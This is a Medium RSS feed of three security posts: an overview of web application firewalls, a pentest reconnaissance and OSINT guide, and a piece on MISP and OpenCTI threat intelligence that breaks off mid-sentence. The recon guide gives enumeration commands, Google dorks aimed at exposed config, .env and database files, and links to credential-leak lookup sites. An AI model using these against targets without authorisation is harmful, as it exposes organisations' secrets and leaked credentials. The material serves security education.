<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Y.Furkan on Medium]]></title>
        <description><![CDATA[Stories by Y.Furkan on Medium]]></description>
        <link>https://medium.com/@yfgurs?source=rss-cb2259d7eb17------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*oZgVAXVFljFRiUfctTvTSQ.png</url>
            <title>Stories by Y.Furkan on Medium</title>
            <link>https://medium.com/@yfgurs?source=rss-cb2259d7eb17------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 07:36:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yfgurs/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Understanding the Importance of WAF for Web Security]]></title>
            <link>https://medium.com/@yfgurs/understanding-the-importance-of-waf-for-web-security-aa1796448321?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa1796448321</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[waf]]></category>
            <category><![CDATA[web-application-firewall]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[web-attack]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Tue, 22 Oct 2024 12:11:40 GMT</pubDate>
            <atom:updated>2024-10-22T12:11:40.047Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLWYvc9hmyfQQlbuJySfiw.png" /></figure><h3>Web Application Firewalls (WAF): Importance and Functionality</h3><h4>Introduction</h4><p>A Web Application Firewall (WAF) has become an indispensable security mechanism for even the smallest websites and applications today. Throughout history, good and evil have always evolved together, battling by changing tactics and strategies, and this is true in almost every aspect of society. The same holds true in the cyber world.</p><p>With the rapid advancement of technology in the digital realm, the types and tactics of attacks have continuously evolved, leading to the development of defense mechanisms. Today, we face massive threats, particularly from highly sophisticated cyberattack teams backed by governments, equipped with immense resources and advanced programs. These groups often act with the intent of profit, theft, or other malicious motives.</p><p>Additionally, large companies may seek to damage the reputation of their competitors, aiming to increase their own profits by any means necessary — thinking in terms of “I’ll either buy it or destroy it.” There are also smaller groups, such as individual hackers or those with less organized structures. The highly advanced groups are often referred to as APTs (Advanced Persistent Threats).</p><p>In this post, I’ll quickly dive into the importance of building and managing a secure mechanism within a multi-layered security framework. I’ve previously written briefly about EDR (Endpoint Detection and Response) and APT groups. In this piece, I will explain what a WAF is, why it is necessary, and how it helps reduce your attack surface.</p><h3>Web Application Firewalls (WAF): Importance and Functionality</h3><h4>Introduction</h4><p>A Web Application Firewall (WAF) has become an indispensable security mechanism for even the smallest websites and applications today. Throughout history, good and evil have always evolved together, battling by changing tactics and strategies, and this is true in almost every aspect of society. The same holds true in the cyber world.</p><p>With the rapid advancement of technology in the digital realm, the types and tactics of attacks have continuously evolved, leading to the development of defense mechanisms. Today, we face massive threats, particularly from highly sophisticated cyberattack teams backed by governments, equipped with immense resources and advanced programs. These groups often act with the intent of profit, theft, or other malicious motives.</p><p>Additionally, large companies may seek to damage the reputation of their competitors, aiming to increase their own profits by any means necessary — thinking in terms of “I’ll either buy it or destroy it.” There are also smaller groups, such as individual hackers or those with less organized structures. The highly advanced groups are often referred to as APTs (Advanced Persistent Threats).</p><p>In this post, I’ll quickly dive into the importance of building and managing a secure mechanism within a multi-layered security framework. I’ve previously written briefly about EDR (Endpoint Detection and Response) and APT groups. In this piece, I will explain what a WAF is, why it is necessary, and how it helps reduce your attack surface.</p><h3>Key Statistics for 2024</h3><p><strong>Attack Frequency</strong>:</p><ul><li>Weekly web attacks: 1.2 million on average</li><li>New vulnerabilities discovered daily: 60</li></ul><p><strong>Top Targeted Sectors</strong>:</p><ul><li>E-commerce: 35%</li><li>Finance: 25%</li><li>Healthcare: 15%</li><li>Public Sector: 10%</li><li>Others: 15%</li></ul><p><strong>Most Common Attack Types</strong>:</p><ul><li>SQL Injection: 18%</li><li>Cross-Site Scripting (XSS): 15%</li><li>DDoS Attacks: 20%</li><li>Phishing: 30%</li><li>Ransomware: 12%</li><li>Other Attacks: 5%</li></ul><p><strong>Financial Impact</strong>:</p><ul><li>Global cybercrime costs: $9.5 trillion</li><li>Average cost of a data breach: $4.2 million</li></ul><p><strong>Success and Response Times</strong>:</p><ul><li>Successful cyberattack rate: 45%</li><li>Average detection time for attacks: 24 hours</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04wl3G4EKDRNQWx12tV24g.png" /></figure><h4>What is a WAF and What Does It Do?</h4><p>A Web Application Firewall (WAF) is a security solution designed to protect web applications and websites from malicious attacks. WAFs filter and monitor HTTP and HTTPS requests, blocking malicious traffic and attacks targeting vulnerabilities in web applications. They act as a barrier between users and the web application, ensuring that only legitimate requests are allowed through.</p><h4>Current Usage of WAFs</h4><p>In today’s digital landscape, the use of WAFs is increasingly crucial. With the rise in cyber threats, including sophisticated attacks on web applications, businesses of all sizes are adopting WAFs as a fundamental part of their cybersecurity strategy. The implementation of WAFs has become a standard practice, especially in industries like e-commerce, finance, healthcare, and any sector that handles sensitive data.</p><h4>Importance of WAFs</h4><p><strong>Protection Against Common Attacks</strong>: WAFs help defend against prevalent attack types such as SQL injection, Cross-Site Scripting (XSS), and Distributed Denial of Service (DDoS) attacks. By monitoring traffic patterns and enforcing security policies, WAFs significantly reduce the risk of data breaches.</p><p><strong>Compliance</strong>: Many regulatory frameworks and standards, such as PCI DSS, require organizations to implement security measures like WAFs to protect customer data and maintain compliance.</p><p><strong>Business Continuity</strong>: With the increasing frequency of cyberattacks, WAFs help ensure business continuity by mitigating risks that could lead to downtime or data loss, allowing organizations to focus on innovation and growth.</p><h4>Consequences of Not Using a WAF</h4><p>Failing to implement a WAF can lead to several serious consequences:</p><ol><li><strong>Increased Vulnerability</strong>: Without a WAF, web applications remain exposed to various attacks, increasing the likelihood of a successful breach.</li><li><strong>Financial Loss</strong>: Cyberattacks can result in substantial financial losses due to data breaches, downtime, and recovery costs. The average cost of a data breach is around $4.2 million, making it a significant risk for businesses.</li><li><strong>Reputation Damage</strong>: A successful cyberattack can severely damage a company’s reputation, leading to a loss of customer trust and potential business opportunities.</li><li><strong>Legal and Regulatory Issues</strong>: Organizations may face legal repercussions and penalties for failing to adequately protect sensitive data, especially if they are non-compliant with regulations like GDPR or HIPAA.</li><li><strong>Operational Disruption</strong>: Cyberattacks can disrupt business operations, leading to delays, lost productivity, and resources being diverted to manage incidents rather than focusing on growth and development.</li></ol><h3>Web Application Firewall (WAF) Functionality by Layer</h3><p><strong>Application Layer (Layer 7)</strong>:</p><ul><li><strong>Protection of HTTP/HTTPS Traffic</strong>: WAFs employ advanced filtering techniques to protect web traffic, ensuring that only legitimate requests reach the web application.</li><li><strong>Defense Against Common Vulnerabilities</strong>: They safeguard against vulnerabilities such as SQL injection, Cross-Site Scripting (XSS), and threats outlined in the OWASP Top 10, enhancing overall application security.</li></ul><p><strong>Presentation Layer (Layer 6)</strong>:</p><ul><li><strong>Data Encryption</strong>: WAFs encrypt and decrypt data using SSL/TLS protocols, ensuring secure transmission of sensitive information.</li><li><strong>Secure Data Formatting</strong>: They ensure that data is properly formatted during transmission, further protecting against manipulation or unauthorized access.</li></ul><p><strong>Session Layer (Layer 5)</strong>:</p><ul><li><strong>User Session Management</strong>: WAFs manage user sessions by establishing, maintaining, and safely terminating connections, which helps ensure that sessions are secure.</li><li><strong>Protection Against Session Hijacking</strong>: They guard against unauthorized access and session hijacking, maintaining the integrity of user interactions.</li></ul><p><strong>Transport Layer (Layer 4)</strong>:</p><ul><li><strong>Traffic Pattern Analysis</strong>: WAFs analyze traffic patterns for intelligent threat detection, identifying anomalies that may indicate potential attacks.</li><li><strong>Defense Against Flood Attacks</strong>: They provide protection against TCP/UDP floods and other transport-layer threats, ensuring network stability and availability.</li></ul><p><strong>Network Layer (Layer 3)</strong>:</p><ul><li><strong>DDoS Protection</strong>: WAFs deliver powerful Distributed Denial of Service (DDoS) protection, detecting and neutralizing large-scale attacks that could overwhelm network resources and disrupt service.</li></ul><p><strong>Conclusion on WAF Defense in Depth</strong></p><p>There are numerous methods to test a Web Application Firewall (WAF), and I discussed some evasion tactics in my “WAF Defense in Depth” article. However, it’s important to understand that sometimes certain payloads can bypass the WAF, but this does not necessarily indicate that the WAF has vulnerabilities.</p><p>Here are some key points to consider:</p><ol><li><strong>Payload Complexity</strong>: Some payloads might be nonsensical or poorly constructed, which can lead to them being processed differently by the WAF. A successful bypass does not inherently mean a flaw in the WAF’s security.</li><li><strong>Attack Path</strong>: For an attack to be successful, the underlying system must also have vulnerabilities. This means that the attacker first needs to bypass the WAF and then exploit a weakness in the application or system itself. This is a challenging task and not easily accomplished.</li><li><strong>Reduction of Attack Surface</strong>: While a WAF effectively reduces the attack surface by filtering out malicious traffic, human error can still occur. Security measures are not foolproof, and vulnerabilities can arise from misconfigurations or unforeseen exploits.</li><li><strong>Continuous Mitigation</strong>: Because of the evolving threat landscape, the term “mitigation” is frequently mentioned. WAFs, along with other security solutions, should be part of a comprehensive strategy to continuously adapt and improve defenses against new threats.</li><li><strong>Automation and Tools</strong>: It’s beneficial to utilize various automation tools and open-source resources available on platforms like GitHub to conduct security testing. Regular testing can help identify potential weaknesses and enhance overall security posture.</li></ol><p>In summary, while WAFs significantly enhance security, they are not a complete solution on their own. A layered security approach that includes regular testing, awareness of potential evasion tactics, and continuous improvement is crucial for maintaining robust web application security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa1796448321" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reconnaissance in Cybersecurity]]></title>
            <link>https://medium.com/@yfgurs/reconnaissance-in-cybersecurity-cb8636512247?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb8636512247</guid>
            <category><![CDATA[scanning]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[security-testing]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Mon, 21 Oct 2024 17:32:37 GMT</pubDate>
            <atom:updated>2024-10-21T17:32:37.654Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AMBxBT1GYCi1l9OLeu0CBA.png" /></figure><p>Reconnaissance, often referred to as “recon,” is one of the foundational phases in cybersecurity, particularly in penetration testing (pentesting). It’s the process of gathering as much information as possible about a target system, network, or organization before launching any form of attack or exploitation. The recon phase is crucial because it sets the stage for everything that follows. A well-executed recon helps identify vulnerabilities, weak points, and potential entry points into a system. In fact, without effective reconnaissance, an attacker would be operating blindly, significantly reducing their chances of success.</p><h3>Why Is Recon Important?</h3><p>Recon is not just the first step in the pentesting process; it’s arguably the most important. A strong recon phase can mean the difference between finding critical vulnerabilities or missing them entirely. It allows security professionals (or attackers) to map out the landscape of their target and understand what they are dealing with. The better the recon, the more informed and strategic the subsequent steps, like scanning, exploitation, and post-exploitation, will be.</p><p>Recon is typically divided into two categories:</p><p><strong>Passive Reconnaissance</strong><br>This involves gathering information about the target without directly interacting with it, meaning you don’t leave traces or appear in the target’s logs. The idea is to remain undetected while building a profile of the target system, such as identifying its IP addresses, domains, employee information, and other publicly available data. This is usually done through OSINT (Open Source Intelligence) tools and third-party sources, without sending any traffic to the target itself. Passive recon can take time, but it’s often worth dedicating an entire day just to this phase to ensure comprehensive results.</p><p><strong>Active Reconnaissance</strong><br>Active recon, on the other hand, involves direct interaction with the target system or network, such as pinging devices, scanning ports, and enumerating services. This type of recon is riskier as it can alert the target to your presence, potentially showing up in their logs. While active recon is necessary to gather more detailed information, it’s often performed after passive recon to reduce the chance of early detection.</p><h3>The Importance of Proper Reporting in Recon</h3><p>In addition to performing thorough recon, it’s equally important to properly document and report the findings. A well-prepared report that clearly outlines the gathered information is crucial for the next phases of security testing, such as scanning, exploiting, and mitigating vulnerabilities.</p><h3>The Pentesting Methodology</h3><p>The pentesting methodology usually follows a sequence:</p><ul><li><strong>Reconnaissance</strong> — Gathering information about the target.</li><li><strong>Scanning</strong> — IP scans, port scans, version scans, and vulnerability scans to identify open doors and weak spots.</li><li><strong>Exploitation</strong> — Taking advantage of the vulnerabilities discovered to gain unauthorized access or control.</li><li><strong>Post-Exploitation</strong> — After gaining access, performing actions such as privilege escalation, data extraction, or setting up persistence.</li></ul><p>Everything starts with recon, and it lays the foundation for the entire process.</p><h4>Domain Enum</h4><p>These tools are commonly used during pentesting or security assessments for discovering and enumerating domains, IPs, and other related information to map out the attack surface of a target. Here’s a brief explanation of each section:</p><p>________________________________________</p><p><strong>Root Domains</strong></p><p><strong>Amass</strong>:</p><p>amass intel -d domain.com -whois</p><p>amass intel -org ‘Example Ltd’</p><p>amass enum -passive -d owasp.org</p><p>Amass is a tool used for domain discovery, passive/active information gathering, and WHOIS analysis.</p><p>Why is it used in pentesting?: It helps identify subdomains, IPs, and network structures associated with the target domain, expanding the attack surface.</p><p>________________________________________</p><p><strong>Google Search</strong>:</p><p><a href="https://google.com/search?q=united+airlines">https://google.com/search?q=united+airlines</a></p><p>Google search can be used to manually gather public information about domains or organizations.</p><p>Why is it used in pentesting?: Publicly available information may reveal sensitive or leaked data. This can aid in open-source intelligence (OSINT) gathering or social engineering.</p><p>________________________________________</p><p><strong>DomainBigData (iqwhois)</strong>:</p><p><a href="https://iqwhois.com/">https://iqwhois.com/</a></p><p>DomainBigData provides WHOIS lookup results and offers details about domain ownership.</p><p>Why is it used in pentesting?: It helps gather information about the domain owner and any related domains for further exploration.</p><p>________________________________________</p><p><strong>Censys Search:</strong></p><p><a href="https://search.censys.io/">https://search.censys.io</a></p><p>Censys scans the internet and helps identify hosts, open ports, and services running on those hosts.</p><p>Why is it used in pentesting?: It helps identify open services, ports, and potential vulnerabilities in a target’s infrastructure.te.</p><p>________________________________________</p><p><strong>Talos Reputation Lookup</strong>:</p><p><a href="https://www.talosintelligence.com/reputation_center/lookup?">https://www.talosintelligence.com/reputation_center/lookup?</a></p><p>Talos Reputation Center shows the security reputation of a domain or IP address.</p><p>Why is it used in pentesting?: It checks if the target has been previously flagged as malicious, which could reveal weaknesses.</p><p>________________________________________</p><p><strong>VirusTotal</strong>:</p><p><a href="https://www.virustotal.com/gui/home/upload">https://www.virustotal.com/gui/home/upload</a></p><p>VirusTotal scans URLs or files across various antivirus engines.</p><p>Why is it used in pentesting?: It helps identify whether a domain or file contains malware or has been flagged as malicious.</p><p>________________________________________</p><p><strong>Reverse WHOIS</strong></p><p><a href="https://viewdns.info/reversewhois/?q=United+Airlines">https://viewdns.info/reversewhois/?q=United+Airlines</a></p><p>Reverse WHOIS allows you to find all domains registered to a person or organization.</p><p>Why is it used in pentesting?: It helps identify additional domains associated with the same entity, revealing a larger attack surface.</p><p>________________________________________</p><p><strong>ASN (Autonomous System Number) Lookup</strong></p><p><a href="https://bgp.he.net/search?search%5Bsearch%5D=united+airlines&amp;commit=Search">https://bgp.he.net/search?search%5Bsearch%5D=united+airlines&amp;commit=Search</a></p><p>whois -h whois.radb.net — ‘-i origin AS11535’ | grep -Eo “([0–9.]+){4}/[0–9]+” | uniq</p><p>whois -h whois.radb.net — ‘-i origin AS20461’ | grep -Eo “([0–9.]+){4}/[0–9]+” | uniq | mapcidr -silent | dnsx -ptr -resp-only -retry 3 -silent</p><p>ASN lookup identifies the IP address blocks associated with an organization’s ASN.</p><p>Why is it used in pentesting?: It reveals the full range of IP addresses owned by a target organization, expanding the scope of the test.</p><p>________________________________________</p><p><strong>Favicon Hashing</strong></p><p>favirecon -u <a href="https://target.com/">https://target.com/</a> -v</p><p>Favicon hashing tools take the hash of a website’s favicon and compare it to other sites to find similarities.</p><p>Why is it used in pentesting?: It can help identify websites using the same favicon, possibly pointing to related or cloned infrastructure.</p><p>________________________________________</p><p><strong>Google Analytics ID Lookup</strong></p><p><a href="https://api.hackertarget.com/analyticslookup/?q=hedgus.com">https://api.hackertarget.com/analyticslookup/?q=hedgus.com</a></p><p>Google Analytics ID lookup finds all domains that share the same analytics ID.</p><p>Why is it used in pentesting?: It helps find additional domains operated by the same entity, which can be potential attack vectors.</p><p>________________________________________</p><p><strong>DNS Manual Recon</strong></p><p>dnsrecon -d <a href="http://www.example.com/">www.example.com</a> -a</p><p>dig <a href="http://www.example.com/">www.example.com</a> MX</p><p>dig -x <a href="http://www.example.com/">www.example.com</a></p><p>DNS recon tools perform DNS lookups, zone transfers, and MX (mail exchange) record queries.</p><p>Why is it used in pentesting?: It identifies DNS misconfigurations and sensitive records, potentially leading to further exploitation.</p><p>________________________________________</p><p><strong>Reverse IP Search</strong></p><p>cat ips.txt | dnsx -ptr -resp-only -silent -retry 3</p><p>Reverse IP search allows you to discover domains hosted on a given IP address.</p><p>Why is it used in pentesting?: It expands the attack surface by identifying other websites hosted on the same server.</p><p>________________________________________</p><p><strong>TLD Brute Forcing</strong></p><p><a href="https://github.com/Sybil-Scan/TLDbrute">https://github.com/Sybil-Scan/TLDbrute</a></p><p>TLD brute forcing tools try different top-level domains (TLDs) like .com, .org, or .net to find variations of a domain.</p><p>Why is it used in pentesting?: It helps find potentially forgotten or misconfigured domain variations that can be exploited.</p><p>________________________________________</p><h4>Public Info Gathering</h4><p><strong>OSINT Resources<br></strong>• OSINT Framework:<br><a href="https://osintframework.com/">https://osintframework.com/</a><br>• OSINT Handbook (2020):<br><a href="https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf">https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf</a><br>• The Ultimate OSINT Collection:<br><a href="https://start.me/p/DPYPMz/the-ultimate-osint-collection">https://start.me/p/DPYPMz/the-ultimate-osint-collection</a><br>________________________________________<br><strong>OSINT Websites<br></strong>Multipurpose Tools<br>• Shodan:<br><a href="https://shodan.io/">https://shodan.io/</a><br>• Track Website Changes (Visualping):<br><a href="https://visualping.io/">https://visualping.io/</a><br>• Internet Archive:<br><a href="https://web.archive.org/">https://web.archive.org/</a><br>________________________________________<br><strong>Company Information<br></strong>• Open Corporates:<br><a href="https://opencorporates.com/companies">https://opencorporates.com/companies</a><br>________________________________________<br><strong>Domain Recon<br></strong>• Robtex:<br><a href="https://www.robtex.com/">https://www.robtex.com/</a><br>• Central Ops:<br><a href="https://centralops.net/">https://centralops.net</a><br>• ViewDNS:<br><a href="https://viewdns.info/">https://viewdns.info/</a><br>• PHP Info:<br><a href="https://phpinfo.me/domain">https://phpinfo.me/domain</a><br>• BGP (Hurricane Electric):<br><a href="http://bgp.he.net/">http://bgp.he.net/</a><br>• BGPView:<br><a href="https://bgpview.io/">https://bgpview.io/</a><br>• SUIP.biz:<br><a href="https://suip.biz/">https://suip.biz/</a><br>• DNS Dumpster:<br><a href="https://dnsdumpster.com/">https://dnsdumpster.com/</a><br>• WhoXY:<br><a href="https://www.whoxy.com/">https://www.whoxy.com/</a><br>• IPv4 Info:<br><a href="http://ipv4info.com/">http://ipv4info.com/</a><br>• RapidDNS:<br><a href="https://rapiddns.io/">https://rapiddns.io/</a><br>• PublicWWW:<br><a href="https://publicwww.com/">https://publicwww.com/</a><br>________________________________________<br><strong>Mailserver Blacklists<br></strong>• Multirbl:<br><a href="http://multirbl.valli.org/">http://multirbl.valli.org/</a><br>________________________________________<br><strong>Email Verification<br></strong>• Email Hippo:<br><a href="https://tools.emailhippo.com/">https://tools.emailhippo.com/</a><br>________________________________________<br><strong>Dark Web Exposure<br></strong>• ImmuniWeb Radar:<br><a href="https://immuniweb.com/radar/">https://immuniweb.com/radar/</a><br>________________________________________<br><strong>New Acquisitions<br></strong>• Crunchbase:<br><a href="https://crunchbase.com/">https://crunchbase.com/</a><br>________________________________________<br><strong>Public APIs<br></strong>• Postman Explore:<br><a href="https://www.postman.com/explore/">https://www.postman.com/explore/</a><br>• RapidAPI:<br><a href="https://rapidapi.com/">https://rapidapi.com/</a><br>________________________________________<br><strong>API Recon<br></strong>• API Recon Tool:<br><a href="https://serene-agnesi-57a014.netlify.app/">https://serene-agnesi-57a014.netlify.app/</a><br>________________________________________<br><strong>EXIF Data (Image Metadata)<br></strong>• EXIF Viewer:<br><a href="https://exif-viewer.com/">https://exif-viewer.com</a><br>• Onyphe:<br><a href="https://onyphe.io/">https://onyphe.io/</a><br>________________________________________<br><strong>Google Dorks<br></strong>Google Dorks Helper<br>• Dorks Tool:<br><a href="https://dorks.faisalahmed.me/">https://dorks.faisalahmed.me/</a><br>IP Search by Dorking<br>• 0iq IP Search:<br><a href="https://0iq.me/gip/">https://0iq.me/gip/</a><br>________________________________________<br><strong>Code and Project Management Sites<br></strong>Code Sharing<br>site:ideone.com | site:codebeautify.org | site:codeshare.io | site:codepen.io | site:repl.it | site:jsfiddle.net “company”<br>GitLab/GitHub/Bitbucket<br>site:github.com | site:gitlab.com | site:bitbucket.org “company”<br>Stack Overflow<br>site:stackoverflow.com “target.com”<br>Project Management<br>site:trello.com | site:*.atlassian.net “company”<br>Pastebin-like Sites<br>site:justpaste.it | site:pastebin.com “company”<br>________________________________________<br><strong>File and Credentials Searching<br></strong>Config Files<br>site:target.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:env | ext:ini<br>Database Files<br>site:target.com ext:sql | ext:dbf | ext:mdb<br>________________________________________<br><strong>Credentials </strong>Leaks<br>Pwndb<br>• GitHub Pwndb Repo:<br><a href="https://github.com/davidtavarez/pwndb">https://github.com/davidtavarez/pwndb</a><br>python3 pwndb.py — target <a href="/service/mailto:asd@asd.com">asd@asd.com</a><br>Leak Sites<br>• Link Base:<br><a href="https://link-base.org/index.php">https://link-base.org/index.php</a><br>• Pwndb Onion Site:<br><a href="http://pwndb2am4tzkvold.onion/">http://pwndb2am4tzkvold.onion</a><br>• WeLeakInfo:<br><a href="https://weleakinfo.to/">https://weleakinfo.to/</a><br>________________________________________<br><strong>Miscellaneous OSINT Tools<br></strong>• Hunter.io:<br><a href="https://hunter.how/">https://hunter.how/</a><br>• FOFA:<br><a href="https://fofa.so/">https://fofa.so/</a><br>• FullHunt:<br><a href="https://fullhunt.io/">https://fullhunt.io/</a><br>• ZoomEye:<br><a href="https://www.zoomeye.org/">https://www.zoomeye.org/</a><br>• CriminalIP:<br><a href="https://www.criminalip.io/">https://www.criminalip.io/</a><br>• LeakIX:<br><a href="https://leakix.net/">https://leakix.net/</a><br>• YouGetSignal:<br><a href="https://www.yougetsignal.com/">https://www.yougetsignal.com/</a><br>• IntelX:<br><a href="https://intelx.io/">https://intelx.io/</a><br>• Pentest-Tools:<br><a href="https://pentest-tools.com/">https://pentest-tools.com/</a><br>• GoFindWhois:<br><a href="https://gofindwhois.com/">https://gofindwhois.com/</a><br>• GoFindWho:<br><a href="https://gofindwho.com/">https://gofindwho.com/</a><br>________________________________________<br>This list of resources is highly useful for open-source intelligence gathering in cybersecurity assessments, information collection, and pentesting. Each tool serves a different aspect of reconnaissance and OSINT.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb8636512247" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Empowering Cyber Defense: Open-Source Tools for Threat Intelligence]]></title>
            <link>https://medium.com/@yfgurs/empowering-cyber-defense-open-source-tools-for-threat-intelligence-43711e4f5ded?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/43711e4f5ded</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cyber-threat-intelligence]]></category>
            <category><![CDATA[alienvault]]></category>
            <category><![CDATA[misp]]></category>
            <category><![CDATA[opencti]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Sat, 19 Oct 2024 12:55:10 GMT</pubDate>
            <atom:updated>2024-10-19T12:55:10.337Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCPsSAWCYretLvRH-criHw.png" /></figure><p><strong>Threat intelligence is the most proactive aspect of defensive security.</strong> Let’s start with a classic introduction.</p><p>In our increasingly digital world, we are just a click away from everything. However, even minor mistakes can lead to significant disasters, potentially jeopardizing years of hard work, profits, and our reputation. It’s important to recognize that everyone has a unique cybersecurity approach and investment strategy based on their budget and needs. Some may perceive cybersecurity as unnecessary, even if they have the resources, because they lack knowledge and often delay action until a serious incident occurs. Cyberattacks can strike unexpectedly, highlighting the need for proactive investment. This should be viewed not as an expense, but as a crucial investment in safeguarding our future.</p><p>What I want to emphasize is my experience with powerful open-source tools that are accessible to everyone in the market. There are open-source solutions capable of providing excellent security services with seamless integration. I would like to discuss four particularly valuable tools in the realm of threat intelligence, each supported by robust communities: <strong>OpenCTI, MISP, AlienVault,</strong> and <strong>ThreatFox</strong>.</p><p>The OpenCTI platform boasts a powerful interface, while MISP is a tool that I can deploy locally, enriched with millions of IOCs sourced from 72 community vendors, and it offers an intuitive graphical interface. AlienVault and ThreatFox are OSINT tools fed by Pulses and various sources, backed by strong communities. We can perform queries through APIs on these four threat intelligence platforms. Queries made to MISP and OpenCTI will have lower latency since they can be executed locally, whereas AlienVault and ThreatFox may experience slightly longer response times due to reliance on third-party requests.</p><p>If a solid integration is achieved, companies providing MSSP services, those striving to ensure their own security, or organizations looking to offer new cybersecurity services can make significant strides in the free and open-source domain.</p><p>Now, let’s be realistic: while these tools are indeed robust, it’s worth noting that MISP and OpenCTI have somewhat high hardware requirements. One challenge I may encounter is related to this, and configuring the setup files — especially for OpenCTI — can sometimes prove difficult without ample community support. However, once you complete a proper installation and meet the necessary requirements, you gain free access to millions of IOCs, enabling you to implement proactive, offensive solutions in your defensive strategy.</p><p>MISP benefits from a strong threat intelligence community through its threat-sharing capabilities. The installation process via Docker is straightforward, with ample articles and video documentation available, so I won’t delve into those details. Instead, I wish to focus on the power and comprehensiveness of threat intelligence. I successfully installed it on my local machine with relative ease, but, as mentioned, the hardware requirements are significant. We need adequate storage for managing vast amounts of data. Once we upload the data, we can efficiently query it via API on our local environment.</p><h4>Misp Threat Sharing</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJIM_IYsBradkVlnf40Olw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RHqIUqMQ4_8FhJ2U7_nGwA.png" /></figure><p>MISP (Malware Information Sharing Platform) is an open-source threat intelligence platform designed to improve the sharing of threat data. It helps organizations share, store, and correlate Indicators of Compromise (IoCs), making it easier to collaborate on threat detection and response.</p><p><strong>Key Components:</strong></p><p><strong>Events</strong>: Represent security incidents or collections of threat data. Each event may contain multiple attributes.</p><p><strong>Attributes</strong>: IoCs or data points related to an event (e.g., IP addresses, hashes, domains).</p><p><strong>API Query:</strong></p><p>The MISP API allows querying events and attributes programmatically. You can:</p><p><strong>Query Events</strong>: Retrieve or search events using filters like date, tags, or event IDs.</p><p><strong>Query Attributes</strong>: Extract specific IoCs from events, filter by type (e.g., IP, domain).</p><p>For example, you can use the /events/restSearch endpoint to search for events, passing relevant parameters such as event tags or date filters.</p><p>In MISP, we can easily query IOCs through its graphical interface. By defining an authentication key and using the API, the querying process becomes much faster and more convenient, allowing us to efficiently search for the specific IOCs we need.</p><pre>curl \<br>-d &#39;{&quot;returnFormat&quot;:&quot;json&quot;,&quot;value&quot;:&quot;162.241.169.194&quot;}&#39; \<br>-H &quot;Authorization: api-key&quot; \<br>-H &quot;Accept: application/json&quot; \<br>-H &quot;Content-type: application/json&quot; \<br>-X POST -k https://misp.com/attributes/Search<br><br><br>Response<br>{<br>&quot;Attribute&quot;: {<br>&quot;id&quot;: &quot;300755&quot;,<br>&quot;event_id&quot;: &quot;1709&quot;,<br>&quot;category&quot;: &quot;Network activity&quot;,<br>&quot;type&quot;: &quot;ip-src&quot;,<br>&quot;value&quot;: &quot;162.241.169.194&quot;,<br>&quot;comment&quot;: &quot;waterforvoiceless.org: Enriched via the dns module&quot;,<br>&quot;timestamp&quot;: &quot;1711135455&quot;<br>},<br>&quot;Event&quot;: {<br>&quot;id&quot;: &quot;1709&quot;,<br>&quot;info&quot;: &quot;APT29 Uses WINELOADER to Target German Political Parties&quot;,<br>&quot;date&quot;: &quot;2024–03–22&quot;,<br>&quot;Orgc&quot;: {<br>&quot;name&quot;: &quot;CUDESO&quot; } } }</pre><p>An <strong>IOC (Indicator of Compromise)</strong> is a piece of data that suggests a potential security breach or malicious activity in a network or system. They help detect and respond to threats by providing evidence of an attack.</p><p>In <strong>MISP</strong>, you can query different types of IOCs, such as:</p><p><strong>IP addresses</strong> (e.g., ip-src, ip-dst)</p><p><strong>Domain names</strong> (e.g., domain, hostname)</p><p><strong>Hashes</strong> (e.g., md5, sha1, sha256)</p><p>These IOCs are essential for identifying and investigating cyber threats.</p><p>In <strong>MISP</strong>, <strong>feeds</strong> are external sources of threat intelligence data that can be automatically ingested 